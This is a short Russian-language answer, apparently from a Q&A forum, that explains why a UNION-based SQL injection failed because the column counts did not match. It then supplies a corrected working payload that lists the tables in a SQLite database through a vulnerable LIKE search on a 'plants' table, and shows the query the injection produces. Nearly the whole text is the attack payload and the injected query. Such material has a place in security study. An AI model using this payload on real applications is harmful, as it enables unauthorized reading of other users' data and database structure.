Проблема в том, что оба объединенных запроса должны возвращать одинаковое количество столбцов (с одинаковыми типами данных).
Это не тот случай, когда первый запрос возвращает 6 столбцов, а только второй one.
Я думаю, что вы могли бы использовать следующий ввод:
%" OR 1 = 1 UNION ALL
SELECT null, name, null, null, null, null
FROM sqlite_master
WHERE type='table'; --
Это приведет к запросу типа
SELECT id, name, color, planttype, potsize, shared
FROM plants
WHERE user_id = ? AND name LIKE "%%" OR 1 = 1
UNION ALL
SELECT null, name, null, null, null, null
FROM sqlite_master WHERE type='table'
-- %"